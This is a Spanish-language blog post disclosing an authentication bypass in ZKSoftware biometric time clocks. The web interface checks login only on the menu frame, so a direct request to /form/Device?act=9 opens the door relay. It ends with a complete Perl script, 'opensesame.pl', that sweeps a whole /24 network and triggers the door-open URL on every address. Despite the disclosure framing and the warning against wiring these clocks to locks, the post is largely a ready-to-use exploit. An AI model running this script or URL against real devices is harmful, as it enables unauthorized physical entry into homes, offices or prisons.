Hace 3 años reporté este agujero a ZKSoftware y nunca tuve respuesta. En su momento lo testee sobre un ZK F4 y hoy en día lo hice funcionar sobre ZK F8. Paso en limpio el bug en cuestión.
El asunto es bien bien sencillo. Los dispositivos ZK utilizan una interfaz web para administrar los relojes (un SDK por sockets, una api via webservice, etc, etc..). No los examiné en profundidad pero 5 minutos en la aplicación web me bastaron para notar que la autenticación funciona solo sobre el frame del menú y no en el central.
Con un simple test (copiar y pegar) me di cuenta que llamando directamente al link este funciona perfectamente sin validación alguna. El link que probé fue: «Open Door» que activa un relee que permite abrir una puerta, entre mil funciones posibles.
Hackeamos el reloj pegando en un navegador lo siguiente: http://[ipdellectorbiométrico]/form/Device?act=9
Así de sencillo y el reloj cierra el relee que abre la puerta de tu casa. Obvio, primero hay que tener acceso a la red dónde se encuentra este dispositivo.
Tan sencillo es que logré un script en perl que abre todas las puertas de la red una por una. (Fuerza bruta, obvio). Mi consejo, no usen estos relojes para abrir cerraduras y si lo hacen no los conecten a la red. (Menos que menos usar estos relojes para abrir las puertas en una carcel.
[pastacode lang=»bash» message=»opensesame.pl» highlight=»» provider=»manual»]
#!/usr/perl/
if($ARGV[0]==""){
print "\n Funciona solo con redes con mascara de 24. Como parametro la direccion \n de red(entre comillas) sin el ultimo decimal.\n opensesame.pl \"192.168.1.\"\n\n"
}else{
for (my $i=1; $i < = 255; $i++){
system("wget --tries=1 --connect-timeout=3 http://".$ARGV[0].$i."/form/Device?act=9");
}
print "\nLimpieza!\n";
system("del Device*.*"); #Windows
}
[/pastacode]